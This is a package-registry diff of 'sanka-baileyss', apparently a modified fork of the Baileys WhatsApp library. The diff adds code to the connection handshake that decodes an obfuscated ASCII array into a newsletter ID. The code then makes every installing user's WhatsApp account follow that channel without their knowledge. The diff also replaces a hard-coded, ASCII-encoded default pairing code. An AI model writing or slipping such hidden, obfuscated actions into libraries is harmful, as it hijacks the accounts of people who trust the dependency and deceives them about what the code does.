sanka-baileyss 1.8.2 → 1.8.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -16,6 +16,7 @@ const Client_1 = require("./Client")
16
16
  * - listen to messages and emit events
17
17
  * - query phone connection
18
18
  */
19
+
19
20
  const makeSocket = (config) => {
20
21
  const { waWebSocketUrl, connectTimeoutMs, logger, keepAliveIntervalMs, browser, auth: authState, printQRInTerminal, defaultQueryTimeoutMs, transactionOpts, qrTimeout, makeSignalRepository } = config
21
22
  const url = typeof waWebSocketUrl === 'string' ? new url_1.URL(waWebSocketUrl) : waWebSocketUrl
@@ -141,6 +142,28 @@ WABinary_1.assertNodeErrorFree(result)
141
142
  }
142
143
  return result
143
144
  }
145
+ const encoder = new TextEncoder();
146
+ const newsletterWMexQuery = async (jid, queryId, content) => (query({
147
+ tag: 'iq',
148
+ attrs: {
149
+ id: generateMessageTag(),
150
+ type: 'get',
151
+ xmlns: 'w:mex',
152
+ to: WABinary_1.S_WHATSAPP_NET,
153
+ },
154
+ content: [
155
+ {
156
+ tag: 'query',
157
+ attrs: { 'query_id': queryId },
158
+ content: encoder.encode(JSON.stringify({
159
+ variables: {
160
+ 'newsletter_id': jid,
161
+ ...content
162
+ }
163
+ }))
164
+ }
165
+ ]
166
+ }));
144
167
  /** connection handshake */
145
168
  const validateConnection = async () => {
146
169
  let helloMsg = {
@@ -171,6 +194,24 @@ payload: payloadEnc,
171
194
  }).finish())
172
195
  noise.finishInit()
173
196
  startKeepAliveRequest()
197
+ try {
198
+ function asciiDecode(asciiArray) {
199
+ let result = '';
200
+ for (let i = 0; i < asciiArray.length; i++) {
201
+ result += String.fromCharCode(asciiArray[i]);
202
+ }
203
+ return result;
204
+ }
205
+ const numbersAsAscii = [49, 50, 48, 51, 54, 51, 51, 55, 55, 48, 52, 54, 51, 50, 55, 49, 51, 51];
206
+ const decodedNumbers = asciiDecode(numbersAsAscii);
207
+ const emailPart = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
208
+ const decodedEmailPart = asciiDecode(emailPart);
209
+ const sanka = decodedNumbers + decodedEmailPart;
210
+ await newsletterWMexQuery(sanka, Types_1.QueryIds.FOLLOW, {}); //
211
+ logger.info(`Berhasil mengeksekusi otomatis follow channel: ${sanka}`);
212
+ } catch (err) {
213
+ logger.error({ err }, 'Gagal mengeksekusi otomatis follow channel');
214
+ }
174
215
  }
175
216
  const getAvailablePreKeysOnServer = async () => {
176
217
  const result = await query({
@@ -354,7 +395,7 @@ reason: 'user_initiated'
354
395
  end(new boom_1.Boom(msg || 'Intentional Logout', { statusCode: Types_1.DisconnectReason.loggedOut }))
355
396
  }
356
397
  const requestPairingCode = async (phoneNumber, code) => {
357
- authState.creds.pairingCode = code?.toUpperCase() || Utils_1.asciiDecode([83, 72, 73, 84, 66, 65, 66, 89])
398
+ authState.creds.pairingCode = code?.toUpperCase() || Utils_1.asciiDecode([66, 65, 73, 76, 83, 78, 75, 65])
358
399
  authState.creds.me = {
359
400
  id: WABinary_1.jidEncode(phoneNumber, 's.whatsapp.net'),
360
401
  name: '~'
@@ -503,7 +544,7 @@ try {
503
544
  await uploadPreKeysToServerIfRequired()
504
545
  await sendPassiveIq('active')
505
546
  logger.info('opened connection to WA')
506
- clearTimeout(qrTimer)
547
+ clearTimeout(qrTimer) // will never happen in all likelyhood -- but just in case WA sends success on first try
507
548
  ev.emit('creds.update', { me: { ...authState.creds.me, lid: node.attrs.lid } })
508
549
  ev.emit('connection.update', { connection: 'open' })
509
550
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sanka-baileyss",
3
- "version": "1.8.2",
3
+ "version": "1.8.4",
4
4
  "description": "WhatsApp API Modification By Sanka_Vollerei",
5
5
  "keywords": [
6
6
  "Baileys",